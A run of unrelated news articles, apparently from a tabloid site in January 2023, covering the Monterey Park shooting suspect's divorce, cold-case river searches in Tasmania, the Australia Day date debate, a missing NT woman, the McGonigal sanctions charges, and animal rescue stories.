The former friend says Tran would also complain about his ex-wife Helen Lai, 59, who he divorced in 2006 citing 'irreconcilable differences.'

Monterey Park mayor Henry Lo kneels at a makeshift memorial outside the scene of a deadly mass shooting at a ballroom dance studio on Monday in Monterey Park, California

People mourn outside the entrance of the Star Ballroom Dance Studio after a mass shooting during Chinese Lunar New Year celebrations in Monterey Park, California

The Star Dance Studio in Monterey Park, which was targeted on Saturday night

Court papers obtained by DailyMail.com show the pair were married between June 2001 and separated on December 31, 2005, with the quickie divorce signed off by May 9, 2006.

According to the papers, it was alleged mass murderer Tran who filed for divorce and he represented himself during the proceedings.

In his divorce petition, Tran requested 'all assets, earnings, properties acquired and debts incurred before marriage and after separation.

'All assets and properties acquired by gift, inheritance, or devise.'

A copy of the settlement shows Lai agreed to his request  the former couple split their assets based on who had what when they married and each allowed the other to keep the money they personally earned during the marriage.

The former couple also agreed not to ask for spousal support from each other and waive any claim to each other's homes.

Star Ballroom Dance Studio was the Monterey Park venue that was the scene of the Saturday evening mass shooting

Floral tributes and candles are seen outside the dance studio where Chinese Lunar New Year celebrations were taking place

Despite the amicable-sounding arrangement, police in Hemet, California, has revealed Tran twice complained about 'past fraud and theft' by his family in recent weeks.

According to a statement released Monday, Tran visited the police department on January 7 and 9 where he alleged 'past theft, fraud, and poisoning allegations by his family in. the Los Angeles area 10 to 20 years ago'  a time period that corresponds with his marriage.

The statement continued: 'Tran stated he would return to the station with documentation regarding his allegations but never returned.'

Tran's friend said he never mentioned poisoning to him but had believed she 'tricked' him into selling his trucking business.

He said: 'Sometimes he would mention his wife and how she used to work at his trucking business. He said she tricked him into selling his truck and his business.'

Lai briefly spoke with CNN on Sunday evening and told the outlet Tran could be 'quick to anger' but was never violent towards her.

After an hours-long standoff, Tran died of a self-inflicted gunshot wound in the van he used to flee after his attempt at a second shooting that was thwarted by 'hero' patrons on Saturday

She told how the pair met at the Star Ballroom Dance Studio  the Monterey Park venue that was the scene of the Saturday evening mass shooting  where he had introduced himself and offered free lessons.

After they married, he would become upset if she missed a step dancing because 'he felt it made him look bad'.

The pair split after four years when 'he lost interest in her', according to Lai.

On Monday, Lai's home in Rosemead  just over two miles from the scene of the massacre  was deserted when DailyMail.com visited.

Neighbors told DailyMail.com that the 59-year-old has not been home since Sunday night and does not know where she went.

The friend, meanwhile, says he is not surprised by what happened and believes Tran chose Lunar New Year because, in Chinese culture, the date represents the closure of an era.

He said: 'Chinese New Year is the end of a period and I think he chose this time to make it complete.

'He had accumulated so much hatred and I think he wanted to end it there. I knew this would happen one day - he hated so many of the people working at the ballrooms.

'He was getting older, he had no happiness, he had no family, no money, and no future. People in those circumstances do crazy things.

'It's just so unfair - the people he killed were innocent.'
Miranda & Associados has won the award Lusophone Africa Law Firm of the Year in the Chambers Africa Awards 2023, which was announced on 13 January 2023.

This is the fourth edition of this category in the same awards program  2018, 2021, 2022 and now 2023 , which has always been won by MIRANDA. The other law firms that were shortlisted in this edition were Dentons LEAD, PLMJ and VdA.

In announcing MIRANDA as Lusophone Africa Law Firm of the Year 2023, the Judges noted:

Miranda retains its status as the go-to law firm for matters in Lusophone Africa, and is of particular note for its work in Angola and Mozambique. In both countries it is frequently mandated on matters in the mining and petrochemicals sectors  a specific example being its advice to Azura Power on the acquisition of a stake in a gas-fired power project for USD145 million. The firm maintains a substantial team in Lisbon whose combined experience assisting with Africa-related transactions spans several decades. Miranda is additionally noteworthy for its co-ordination of the Miranda Alliance network of independent law firms, through which it is able to offer on-the-ground resources across Lusophone Africa. Many of the networks members maintain top-tier rankings in their own right. Client feedback contains high praise for the teams comprehensive advice, efficiency and understanding of commercial priorities.

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The mammal was a whopping 70metres from the Bonnie Doon shore

An echidna has been rescued after it was found struggling to stay afloat in the middle of a lake 70metres from the shore.

Wakeboarder Brendan Paterson found the exhausted mammal while the surfer was out with his family on Lake Eildon in Bonnie Doon, north-east of Melbourne.

Vision of Mr Paterson grabbing the spiny ant-eater out of the water and onto his board was posted to social media on Tuesday.

Wakeboarder Brendan Paterson found the exhausted echidna (pictured) while the surfer was out with his family on Lake Eildon in Bonnie Doon, north-east of Melbourne

It showed the echidna sitting on the board after Mr Paterson had jumped in the water, while his family observed from a nearby boat.

The rescuer then guided his board with the animal on it to the shore, with the weary-looking mammal clambering back onto solid ground.

Mr Paterson told 3AW when he first saw it he thought it was a different animal.

'I saw what I thought to be a struggling turtle upside down but as I approached I realised it was an echidna,' Mr Paterson said on Tuesday.

The rescuer then guided his board with the the animal on it to dry land (pictured)

Vision of Mr Paterson grabbing the spiny ant-eater out of the water and onto his board was posted to social media on Tuesday (pictured)

The rescuer then guided his board with the the animal on it to the shore, where the weary-looking mammal clambering back onto solid ground

'It took a big breath of air [after it got onto the board]. We cruised around for a little bit and I made sure he had a bit of a rest.

'We were a good 70metres either side [of the shore]- it had probably gone a bit too far than it needed to ... this was an echidna that could not swim, it was definitely struggling.'

Echidnas are able to paddle across small distances like creeks and dams but it is unusual to see them in the middle of a big lake, he said.

One social media commenter joked about the echidna's journey.

'I hope he didn't take him back to the same side he started! Great job!'

A similar rescue was made and posted to social media this month when a Queensland woman scooped an echidna from her pool after she found it floundering.

The distinctive Australian creature navigated the pool fence and fell into the water at Shan Croc's property in the rural town of Muckadilla.

Echidnas (pictured) are able to swim across small distances like creeks and dams but it is unusual to see them in the middle of a big lake, Mr Paterson said
Footage has emerged of divers finding number plates in a river in the search for a missing father - a year before they discovered the remains of another man.

The divers had been looking for the body of Nicola 'Nick' Sallese, 69, as they searched the Huon River near Franklin, in Tasmania, in April 2022.

Mr Sallese disappeared with his silver Toyota Camry in November 17, 2008, prompting his family to hire the Downunder Divers team to search for his body.

They the same cold-case specialists that discovered the remains of Dale Nicholson, 61, in a submerged car in the River Derwent on Monday - six years after he disappeared from New Norfolk, north of Hobart, on December 10, 2016.

Footage from their previous expedition in the Huon River has since resurfaced showing Mr Sallese's son Jason recording the tense search for his father.

Footage has emerged of divers finding number plates in a river in search for a missing father - a year before they discovered the remains of another man

The divers had been looking for the remains of Nicola 'Nick' Sallese, 69, as they searched the Huon River near Franklin, in Tasmania, in April 2022

The family had been using sonar technology to locate cars beneath the surface of the water, believing their father and his vehicle could have been swept away.

Dan, who is one of the divers, is seen surfacing from the bottom of the river holding an old licence plate in his hand.

'We had marked this spot on our maps weeks before as a very high possibility of finding a vehicle because of the road being right beside the river with no barriers at all,' Jason wrote in a Facebook post.

'When we sonar-scanned the area, a car became visible straight away. So it was time for Dan to dive to see what we had found.

'It felt like a lifetime. Dan was diving on the location of the car, he was only underwater for a few minutes and I held my breath the whole time, you can actually hear me finally take a breath at the 46-second mark of the video.'

Dan pulls his oxygen mask out of his mouth and shakes his head in disappointment as he holds the number plate.

'Ah sorry, it's not dad's car mate,' he said.

'It's a [Subaru] Liberty. The driver's window is down, no one in there that I can see. Sorry mate.'

Jason wrote that he would continue searching for his father having crossed off that part of the river.

Dale Nicholson, 61, vanished on December 10, 2016 after speaking to a friend on the phone in the afternoon

Downunder Divers, a team that specialises in closing cold cases, found Mr Nicholson's Ford Falcon sedan submerged in the River Derwent (pictured) on Monday

The search for his missing father has continued since the video was taken last year with the most recent expedition held at South Esk River at Longford two weeks ago.

A Ford Laser with no number plates was found with the family maintaining hope they will find their father after the chance discovery of Mr Nicholson.

Mr Nicholson, 61, vanished from New Norfolk, north of Hobart, on December 10, 2016 after speaking to a friend on the phone in the afternoon.

His family reported him missing the next day however despite an extensive search by Tasmania Police, he was never found.

Downunder Divers, which specialises in closing cold cases, announced via YouTube on Monday they had found Mr Nicholson and his car.

The team found his Ford Falcon sedan submerged in the River Derwent next to a car park used for the busy New Norfolk swimming pool.

Police said the car and remains were retrieved on Sunday night but there has yet to be a formal identification of the body.

Mr Nicholson's Ford Falcon sedan was found submerged in the River Derwent next to a car park used for the busy New Norfolk swimming pool

Officers removed a number of bollards - installed after Mr Nicholson went missing - to retrieve the car.

In the YouTube Live video to announce their discovery, Downunder Divers said they were happy to 'bring closure to the family'.

'It's a sense of relief  [for them] that we found him. They know where he is,' diver Bill McIntosh said.

'The amazing thing is the family has been walking this path. They've walked this path 1,000 times. Everyone in town walks by this location, and you just never know.'

Mr McIntosh said the car was found wedged behind a large pine tree, which kept it from being washed down the river.

'The windows were open and it was pretty clear that he'd been sitting right there for  years behind that large pine tree,' he said.

'It was what was protecting it for the past years  it made it so that no debris coming down the river could affect the car.'

Mr Nicholson and his Ford Falcon (pictured) were found in the River Derwent six years after going missing

Downunder Divers, who retrieved the car and body, said they were happy to 'bring closure to the family'

A 2021 coroner's report found 'all available evidence' pointed to Mr Nicholson being dead but was unable to make further findings.

Mr Nicholson's sister Leanne Marshall told the ABC she was shocked her brother was found so close to home.

'Finally closure for us to be able to lay Dale to rest and not have to wonder and keep thinking where is he,' she said.

'It was such a shock, he was found so close to home he only lived around the corner.'
More companies are not observing the controversial date

Telstra's new CEO says that she will work on Australia Day

Telstra's CEO has become Australia's most notable corporate figure to publicly announce that she will work on Australia Day - as the debate around changing the date rages on.

The telecommunication company's chief executive Vicki Brady made the announcement public on her LinkedIn profile on Monday.

The date has been controversial for several years as it's the day in 1788 when the First Fleet arrived in the country and Sir Arthur Phillip raised the British flag in Sydney Cove.

Many view the date as representative of the beginning of the painful and devastating impact colonisation has had on Aboriginal and Torres Strait Islander people.

Telstra's new chief executive Vicki Brady (pictured) publicly announced that she will work on Australia Day as more companies turn away from the controversial date

Controversy has surrounded the celebration of Australia Day for the past several years, with many calling for the date to be changed as a mark of respect for Indigenous Australians (pictured, Australia Day celebrations on the Gold Coast)

Ms Brady confirmed that she would work on the day as she championed the decision by Telstra to allow staff to have a 'personal' choice in whether to work or not.

'Im proud that at Telstra, our people can now choose to take January 26 as a public holiday, or work that day and request an alternative day off,' she wrote.

'Ill be choosing to work and will take a different day of leave with my family, because that feels right for me.'

The telecommunications boss stressed that it was 'ok' if other staff members had a 'different approach'.

'How each of us recognise and respect the different meanings and complexities of Australia Day is one important part of our reconciliation journey,' she continued.

'For many First Nations peoples, Australia Day is a painful reminder of discrimination and exclusion. It marks a turning point that saw lives lost, culture devalued, and connections between people and places destroyed.

'At the same time, for many people the day is also a chance to spend time with friends and family and celebrate the many things we can be proud of as a community.'

Many view the date as being representative of the beginning of the painful impact colonisation has had on Aboriginal and Torres Strait Islander people (pictured, Australia Day protest)

Ms Brady championed the decision made by Telstra to allow staff to choose whether they wanted to work on January 26 or not (pictured, Australia Day revellers on the Gold Coast)

Ms Brady added that 'respectful and inclusive conversations' were needed to make any progress on reconciliation.

She then thanked her Telstra colleagues for treating the debate around Australia Day with respect.

Telstra along with Channel 10, Woolworths, mining giant BHP, financial firms Deloitte and KPMG and bio tech company CSL have joined the growing list of companies and organisations who are allowing staff to work on January 26.

Channel 10 bosses told their staff in an email that the network will not be celebrating Australia Day and that employees could come to work instead of taking the day off.

Parent company Paramount ANZ's chief content officer, Beverley McGarvey, and co-lead Jarrod Villani referred to Australia Day as 'January 26' in the email.

The pair told staff it was 'not a day of celebration' for Indigenous people and said employees could decide whether they wished to take the day off as a public holiday or work if they preferred.

The bosses of Channel 10 have told staff the network will not be celebrating Australia Day (pictured are Channel 10 stars Waleed Aly and Sarah Harris)

Staff at the network have been told they're welcome to work over the Australia Day public holiday (pictured is newsreader Sandra Sully)

'At Paramount ANZ we aim to create a safe place to work where cultural differences are appreciated, understood and respected,' the pair wrote in the email, The Australian's Media Diary column reported.

'For our First Nations people, we as an organisation acknowledge that January 26 is not a day of celebration.

'We recognise that there has been a turbulent history, particularly around that date and the recognition of that date being Australia Day.'

The pair said staff could choose to work through the national holiday if they didn't feel comfortable celebrating it and could take another day of leave instead.

'We recognise that January 26 evokes different emotions for our employees across the business, and we are receptive to employees who do not feel comfortable taking this day as a public holiday,' the email read.

The network bosses were adamant that those who did wish to celebrate Australia Day 'reflect and respect the different perspectives and viewpoints of all Australians'.
Social media influencers are using their platforms to share tips on how young people can show their opposition to the celebration of Australia Day - and the activities revellers should avoid.

January 26 - which marks the raising of the British flag on Australian soil in 1788 after the First Fleet arrived in Sydney Harbour - is regarded as 'Invasion Day' by most First Nations people.

Popular social media creators have made 'tutorials' offering advice to their followers on how to approach the day and show support for indigenous people.

Their suggestions include declining Australia Day party invitations and donating wages to charity if they have to work on the day.

Wiradjuri, Gomeroi and Awabakal user Meissa Mason (pictured) has suggested people working on 'Invasion Day', who wish to support Indigenous people, donate their bonus public holiday rates

Wiradjuri, Gomeroi and Awabakal user Meissa Mason, who boasts more than 110,000 followers, was among those encouraging such actions.

'Ive had a couple of people DM me and say that they dont celebrate Invasion Day, and theyd rather work, but they also feel uncomfortable profiting off Invasion Day by getting time-and-a-half or double rates,' she said.

'Something you can do is working out your payslips to see what you got on your regular rates, and then taking that percentage that you got for double pay or pay-and-a-half and donating it to an Indigenous organisation, movement or group.

'That way you are not profiting off of Invasion Day and you are directly supporting Aboriginal and Torres Strait Islander communities.'

Barkindji, Wakawaka and Birrigubba Tiktok influencer Emily Johnson shared a 'tutorial' titled 'no pride in genocide', showing her 78,000 followers how to decline invitations to events held on the public holiday.

'For me personally, its ok if you want to enjoy the public holiday, but titling your event "Invasion Day" is just yuck,' she wrote in a caption.

Non-Indigenous activist Ella Jae offered her 60,200 followers a 'reminder' we should not 'celebrate genocide', calling for the date to be changed from January 26 to May 8.

Barkindji, Wakawaka and Birrigubba Tiktok influencer Emily Johnson (pictured) shared a tutorial on how to turn down Australia Day party invitations

'If we want to celebrate Australia it should be on a day that's inclusive for everyone so that everyone can have fun,' she said in the video which has been seen more than 100,000 times.

She compared having a party on Australia Day to skipping a loved one's funeral and going straight to 'kick ons' and refuted the common argument that 1788 'happened so long ago'.

'Trauma tracks down through generations, that pain is still felt by First Nation people's children, grandchildren, great grandchildren,' she said.

'And second, you do not get to decide what is offensive or hurtful to a community that you are not a part of.

'If you choose to be ignorant and not get educated, you are part of the problem.'

Change-the-date advocate Jaz Karati, described how she and her Maori family used to celebrate the public holiday until they learned of its cultural significance.

'When we first moved here 10 years ago, we were ignorant to the history of that date, so we were celebrating with a lot of our Australian friends,' she said.

Ella Jae (pictured) explained trauma can be handed down for generations - and celebrating on January 26 is not ethical

Jaz Karati, a self-described Aboriginal ally, admitted she used to celebrate Australia Day until she realised the historical and cultural significance of the date

'As soon as we learnt the real history and the reason why that date is significant for Aboriginal people, it became a no-brainer for us to stop celebrating.'

Ms Karati said white Australian friends have justified celebrating the holiday, because they were 'not racist' as they do not 'hate Aboriginal people'.

'I said "you're wrong. You think racism is rooted in hate, but it isn't. It is rooted in ignorance - wilful ignorance - because you know the history and you continue to celebrate".

'If you care about Aboriginal people, you would not be celebrating invasion, genocide, rape, murder, and colonisation.

Comedian Tilly Langford, a Gumbaynggir woman, frequently shares content with her more than 38,600 TikTok followers, advocating a number of social justice causes, including class inequality, sexism and racial injustice.

The political commentator said the national holiday, for her, represents ongoing disparities between Indigenous Australians and other members of the community.

'Invasion Day, to me, symbolises a lot of my personal conflictions with "Australia",' she told News.com.au.

'I want to love this country. I want to care for it and cherish it just as my ancestors did. But I cant, because of the way it is now, the blood, and the carnage, and the pure indifference.'

Comedian and Gumbaynggir woman Tilly Langford (pictured) says she 'cannot love Australia' because of ongoing racial injustice and the brutal history of colonisation

In an Instagram post on Wednesday, she sent strength to fellow Indigenous Australians

Australia Day, held on the date British Royal Navy vessels raised a Union Jack at Sydney Cove, called Warrane by the Aboriginal people who fished and lived there, remains divisive among young and older generations.

In recent years the day has been marked by widespread protests in cities across the country as thousands of Indigenous supporters mourn the painful history and call for the holiday's date to be changed.

A recent survey by Core Data found 'a generational and gender divide among Australians over the significance of the day and its position in the calendar'.

The research consultancy asked whether people planned to celebrate, whether they supported moving the holiday to another date and how their opinions had changed in recent years.

Overall, 54 per cent of respondents said they planned to mark the occasion, with 30 per cent saying they would be celebrating the history and achievements of Australia and 15 per cent 'just because it was a public holiday'.

More than two-thirds of respondents aged 26 and under say they won't be celebrating on January 26, with just over 30 per cent saying they will.

But more than 80 per cent of them support moving the date for the sake of improving relations with the Indigenous population, as do more than 70 per cent of those aged 27 to 41.

Support for change dropped among older respondents, with just over 30 per cent of those 56 to 75 and 25 per cent of those older supporting a change in date.

However there is no consensus about what an alternative date should be, raising the prospect of Australia Day simply being struck from the calendar.
A lengthy search for a 30-year-old woman in the Northern Territory outback has been called off with police admitting they are now treating her case as a homicide.

Mother-of-two Angie Fuller was last seen 15km west of the Stuart Highway turn-off on Tanami Road, about 35km north of Alice Springs, on January 9.

NT Police said last week that officers were still holding out hope Ms Fuller was alive and surviving off ground water after recent rain.

However, officials on Tuesday suspended an extensive 15-day search that involved helicopters and drones with emergency services unable to find the mother.

The search for Northern Territory mother-of-two Angie Fuller (above) has been suspended with NT Police now treating her case as a homicide

Ms Fuller was last seen 15 kilometres west of the Stuart Highway turn off on Tanami Road (marked above in red) on January 9

'The search and rescue component has been suspended, however, police will continue to investigate the circumstances surrounding her disappearance which is being treated as suspicious,' Assistant Commissioner Michael White said.

'Police have spoken to all persons who are known to have last had contact with Angie.

'A number of corflute signs are being placed around the Alice Springs region, appealing to any members of the public who may have information relating to the matter.'

Asst. Commissioner White said police believe Ms Fuller's red Toyota Corolla was involved in a 'vehicle incident' several hours after her last confirmed sighting - at a truck stop north of Alice Springs at about 6.40pm.

Police believe Ms Fuller (above) was involved in a 'vehicle incident' several hours after her last confirmed sighting and are treating her disappearance as a homicide

Northern Territory Police announced on Tuesday it is suspending the search for Ms Fuller after 15 days of combing through 'difficult terrain' (pictured, a helicopter searching for Ms Fuller)

A man claiming to be Ms Fuller's boyfriend (above) identified himself as a 'sovereign citizen' and claimed the pair were shot at by a gang before Ms Fuller disappeared

'There (were) two vehicles involved and there was some sort of dispute. As a result one of the cars was run off the road,' he said.

'We've spoken to all the parties we have seen... we believe Angie became separated from everyone else.'

It comes after a man claiming to be Ms Fuller's boyfriend shared videos online saying the couple were shot at by a 'gang' before the young mother disappeared.

'Me and my girlfriend got ran off the road and then we got shot at by a gang,' he said.

'Then it just multiplied. More carloads were just rocking up. They rocked up and just started shooting.

'We were just running through the bush. I tried my best but she just told me to f*** off but I still tried to keep an eye on her.

'I heard her scream and I ran towards the scream... running as fast as I could.'

Police have urged anyone who travelled along Tanami Road between 10pm on January 9 and 9am the following day to contact Crime Stoppers (pictured, Ms Fuller)

The man said at one stage he was surrounded by their assailants and he lost sight of Ms Fuller.

In a video he is also seen telling off a policeman for searching his car.

'My car was randomly searched without my permission, without me standing there,' he said in the video.

'The only reason I searched your car is we've got a missing person and you're in the area that we're conducting a search,' the officer responded.

'I'm just trying to figure out why you're here.'

The man then told the officer: 'I have every right to be part of the search.

'Why am I here? You know why I'm here. The missing person is my girlfriend.'

He described himself as a 'sovereign man' and said he was recording the video 'for my own legal purposes', accusing authorities of not taking his claims seriously.

A man claiming to be Ms Fuller's (above) partner claims they were shot at and chased into the bush by a 'gang' where he later lost sight of her

Police have not confirmed the man's claims but said Ms Fuller's boyfriend is assisting with inquiries.

However, Ms Fuller's outraged father Tony Fuller said he was 'sickened' by the man's claims and insisted he had never met him and does not believe he was in a relationship with his daughter.

Mr Fuller added that his daughter had only recently moved to Alice Springs from Darwin, travelling to the southern NT hub just one day before she disappeared.

He claims CCTV footage provided by a McDonald's restaurant is the only evidence his daughter was in Alice Springs after she left Darwin on January 8.

'As the days pass and the hours fold, I'm more concerned about if she is out there that the time frame is closing in on her,' he told the ABC.

'I just want her to come home.'

Police urged any motorists who travelled along Tanami Road between 10pm on January 9 and 9am the following day to contact Crime Stoppers.
A father living with the fact he caused the death of his son on Christmas Day is again facing the prospect of prison after prosecutors challenged a community work sentence.

Christopher Browne avoided jail after admitting he was to blame for the death of two-year-old Lincoln.

The youngster was thrown from an ATV buggy and crushed while his father did doughnuts at their family property at Barnawartha North in Victoria's northeast in 2020.

Browne was sentenced to a three-year community corrections order, with conditions for 250 hours of community work and ongoing treatment for post-traumatic stress disorder.

But prosecutors say his case is no different to that of another Victorian father who was sentenced to more than three years behind bars after causing the death of his nine-year-old daughter in a buggy crash.

Lincoln Browne was killed after falling from an ATV on a Barnawartha North property near the Victoria-New South Wales border on Christmas Day 2020

Christopher Browne (pictured) was sentenced to a three-year community corrections order with 250 hours of unpaid community work

Browne had been deliberately doing burnouts in a vehicle notoriously unsafe for such activities, Victoria's Chief Crown Prosecutor Brendan Kissane, KC, told Victoria's Court of Appeal on Tuesday.

'In our submissions  there's a serious degree of irresponsible behaviour,' he said.

When sentencing Browne, county court judge Michael Cahill had taken into account that the father was suffering PTSD after the crash.

But Mr Kissane challenged to what extent that should have enabled such vastly different sentences.

Prosecutors have appealed Browne's sentencing and say he should serve jail time

'It's trite to say any parent who is involved in the death of their child would be grief-stricken, would be suffering, or would suffer from stress and anxiety, and the distinction, if there is one, is not such to warrant the distinction in sentence,' he said.

The court heard Browne's admission to dangerous driving causing death and reckless conduct endangering serious injury were double-barrelled.

He had deliberately driven dangerously by doing the burnouts or doughnuts and had also deliberately flouted built-in safety features on the buggy by sitting on top of a clipped-in seatbelt, overriding a safety lock that would have limited the speed to 25km/h.

He was driving at about 40km/h to 55km/h at the time the buggy flipped.

Lincoln had been sitting on Browne's lap, and Browne's sister was in the passenger seat of the buggy, which should only have had two people on board.

Police pictured at the scene on the private property on Moss Road, Barnawartha North on Christmas Day, 2020

Browne's barrister, Jason Gullaci, said Browne had admitted to police that he had been trying to scare his sister, that he had been doing doughnuts, and confessed to flouting the seatbelt rules.

'He has taken full and direct responsibility for the devastating consequences of his very reckless behaviour,' he said.

Browne pleaded guilty after a sentence indication, and in the five months since being sentenced has already completed more than 100 hours of the required community work.

He and his wife, who remains his loyal supporter, learned after prosecutors filed the appeal that they are expecting another child, Mr Gullaci said.

The couple had stillborn twin daughters before Lincoln's birth and another surviving child.

'Given that he now knows that his wife is pregnant and there's a real risk he could be imprisoned as a result of the (prosecutor's) appeal, he has significant concerns,' Mr Gullaci said.

The appeal is being decided by three judges.
Planning on hosting a barbecue at your place for the family and all your mates? Or looking forward to finally attacking that long-overdue home maintenance project on your Thursday public holiday?

With Australia Day fast approaching, here is a handy guide to the opening hours of some of the country's largest and best loved retailers.

Coles

The major supermarket chain will operate as normal on January 26, apart from in South Australia, where stores in only the following locations will be open: Berri, Mount Barker, Mount Gambier, Murray Bridge Green, Port Augusta, Port Lincoln, Port Pirie, Rundle Place, Victor Harbour and Whyalla.

Coles has advised customers to check with their local store or on the company's website, as there may be slight differences in trading hours between stores.

Coles stores will be trading on Australia Day - except for those in South Australia

Woolworths

All Woolworths stores will be open in Queensland, Tasmania and the ACT, with a small number of exceptions to regular trading hours in other states.

In Victoria, every Woolies will be open except Bourke St and Collins Square on Thursday, while the North Sydney and Eastlakes Metro stores will be closed, but all others open in NSW.

Esperance is the only store set to be closed in Western Australia on Australia Day, but Woolworths has warned that stores in the west will operate on public holiday trading hours rather than their normal times.

Woolworths will stay open for Australia Day however some Metro stores will be shut

Dan Murphy's

If the thought of running out of beer on Austraila Day sparks dread, rest assured Dan Murphy's will be open for trading on the public holiday.

As with most major outlets however, shoppers are urged to check opening hours of their local outlet as hours may vary between stores.

Bunnings Warehouse

Planning to get stuck into that home maintenance project on the public holiday? The good news is all Bunnings stores will be open on January 26.

Opening hours will vary nationally so customers are advised to check the Bunnings Warehouse website for details of their local store.

Bunnings will open for Australia Day

Chemist Warehouse

Most Chemist Warehouse stores will be open at regular hours on Thursday, but customers have been advised to check in with their local branch over the phone or online, particularly those located inside shopping centres, which may be closed for the public holiday.

Kmart

Good news for Kmart lovers - stores will be open nationally on January 26, with some exceptions in Western Australia and South Australia.

Customers are advised to check their local store's trading hours, as they may have been altered for the public holiday.

Stores will be shut at Esperance in WA, and Churchill, Firle, Ingle Farm, Kurralta Park, Marion, Munno Para, Port Noarlunga, Tea Tree and Westlakes in SA.

JB Hi-Fi

Anyone needing a replacement speaker or a HDMI chord on short notice will be in luck on Australia Day, with JB Hi-Fi stores open nationwide.

Shoppers can check for exceptions in shopping centres and in parts of South Australia and Western Australia via the store's website.
The former FBI counterintelligence agent charged with helping a Russian oligarch evade US sanctions has been freed on bail.

Charles McGonigal, 54, walked free from Manhattan federal court on Monday on a $500,000 personal recognizance bond, following his arrest Saturday on charges laid out in two newly unsealed indictments.

One of the indictments, filed in Manhattan, accused McGonigal of violating US sanctions laws by working for Oleg Deripaska, a billionaire crony of Vladimir Putin, following his 2018 retirement from the FBI.

The other charges, filed in Washington DC, allege McGonigal took $225,000 in cash bribes from an unnamed former Albanian intelligence agent while leading the counterintelligence branch in the FBI's New York field office.

McGonigal, who retired in 2018, played a role in sensitive and high-profile investigations, including Robert Mueller's probe into Russia's purported ties to Donald Trump's 2016 presidential campaign.

Charles McGonigal and wife leaves Manhattan Federal Court after he was arraigned on charges he violated US sanctions and freed on a $500,000 bail

McGonigal secretly met with Albanian Prime Minister Edi Rama (above) in September 2017, where he gave Rama 'FBI paraphernalia', the indictment states

The indictment states that McGonigal was accompanied by the unnamed ex-spy when he secretly met with Albanian Prime Minister Edi Rama in September 2017, where he gave Rama 'FBI paraphernalia' and offered advice on lucrative oil drilling licenses, the indictment states.

McGonigal was freed on a signature bond, meaning the money did not actually have to be posted up front, which was signed by himself and two other unidentified people.

As he left court, McGonigal's attorney Seth DuCharme, told reporters his client 'has had a long, distinguished career with the FBI.'

'This is obviously a distressing day for Mr. McGonigal and his family, but we'll review the evidence, we'll closely scrutinize it and we have a lot of confidence in Mr. McGonigal,' said DuCharme, the former top federal prosecutor in Brooklyn.

McGonigal worked for the FBI from 1996 until his retirement in 2018, and from 2016 until he left the bureau he was the special agent in charge of the FBI's Counterintelligence Division in the New York field office.

As well as playing a in high-profile investigations, including Robert Mueller's probe into Russia's purported ties to Donald Trump's 2016 presidential campaign, he also led an FBI team that investigated why CIA informants in China were being arrested and killed -- a probe that led to the arrest and conviction of Chinese double agent Jerry Chun Shing Lee.

Russian billionaire Oleg Deripaska was sanctioned by the US and then charged with violating them last year. Pictured: With Vladimir Putin in 2017

Charles McGonigal, the former head of counterintelligence for the FBI's New York office, leaves Manhattan Federal Court on Monday in New York City

Now, however, McGonigal is accused of spinning his own web of deception in multiple alleged schemes to profit from illegal foreign payments.

In a bureau-wide email Monday, FBI Director Christopher Wray said McGonigal's alleged conduct 'is entirely inconsistent with what I see from the men and women of the FBI who demonstrate every day through their actions that they're worthy of the publics trust.'

The most stunning charge accused him of working with a former Soviet diplomat-turned-Russian interpreter on behalf of Deripaska , a Russian billionaire they purportedly referred to in code as 'the big guy' and 'the client.'

McGonigal, who had supervised and participated in investigations of Russian oligarchs, including Deripaska, worked to have Deripaskas sanctions lifted in 2019 and took money from him in 2021 to investigate a rival oligarch, the Justice Department said.

McGonigal and the interpreter, Sergey Shestakov were arrested Saturday - McGonigal after landing at John F. Kennedy International Airport and Shestakov at his home in Morris, Connecticut.

Shestakov, who worked as an interpreter for federal courts and prosecutors in New York City after retiring as a diplomat in 1993, helped connect McGonigal to Deripaska, according to the indictment.

In 2018, while McGonigal was still working for the FBI, Shestakov introduced him to a former Soviet and Russian diplomat who functioned as an agent for Deripaska, the indictment said.

That person is not named in court papers but the Justice Department says he was 'rumored in public media reports to be a Russian intelligence officer.'

According to the indictment, Shestakov asked McGonigal for help getting the agent's daughter an internship in the New York Police Departments counterterrorism and intelligence units. McGonigal agreed, prosecutors say, and told a police department contact that, 'I have an interest in her father for a number of reasons.'

According to the indictment, a police sergeant subsequently reported to the NYPD and FBI that the woman claimed to have an 'unusually close relationship' with an FBI agent whom, she said, had given her access to confidential FBI files.

The sergeant felt it was 'unusual for a college student to receive such special treatment from the NYPD and FBI,' the indictment said.

After retiring from the FBI, according to the indictment, McGonigal went to work in 2019 as a consultant and investigator for an international law firm seeking to reverse Deripaskas sanctions, a process known as 'delisting.'

The law firm paid McGonigal $25,000 through a Shestakov-owned corporation, prosecutors say, though the work was ultimately interrupted by factors such as the COVID-19 pandemic.

Deripaska, 55, is one of the small number of oligarchs who criticized Putin for launching war in Ukraine  calling it madness

The FBI searched Deripaska's $15million home in Washington DC (pictured) , his $42.5million property in the Upper East Side and $4.5million townhouse in West Village in 2021

In 2021, according to the indictment, Deripaskas agent enlisted McGonigal and Shestakov to dig up dirt on a rival oligarch, whom Deripaska was fighting for control of a large Russian corporation, in exchange for $51,280 upfront and $41,790 per month paid via a Russian bank to a New Jersey company owned by McGonigals friend. McGonigal kept his friend in the dark about the true nature of the payments, prosecutors say.

McGonigal is also accused of hiding from the FBI key details of a 2017 trip he took to Albania with the former Albanian intelligence official who is alleged to have given him at least $225,000 in three separate cash payments.

Once there, according to the Justice Department, McGonigal met with Albanias prime minister and urged caution in awarding oil field drilling licenses in the country to Russian front companies. McGonigal's Albanian contacts had a financial interest in those decisions.

In an example of how McGonigal allegedly blurred personal gain with professional responsibilities, prosecutors in Washington say he 'caused' the FBIs New York office to open a criminal lobbying investigation in which the former Albanian intelligence official was to serve as a confidential human source.

McGonigal did so, prosecutors allege, without revealing to the FBI or Justice Department his financial connections to the man.
A cat had a fortunate escape after a deadly brown snake suddenly lunged at the pet in a backyard.

Footage of Nala the grey cat and the venomous 1.8metre reptile facing off in a backyard at Glenmore Park in Sydney's west was posted to social media on Monday.

It showed the curious pet checking out the reptile as it lay on the green grass near some plants on a sunny day.

Mobile phone footage posted to social media on Monday showed a curious pet checking out a deadly brown snake as it lay on the green grass near some plants on a sunny day (pictured)

The video of Nala the grey cat facing off with the 1.8metre reptile at Glenmore Park in Sydney's west (pictured) was posted to social media on Monday

The snake then suddenly turned and lunged at Nala.

The pet owners behind the camera screamed 'Nala, Nala, Nala!' as they desperately called out to the cat, prompting her to flee towards them unharmed.

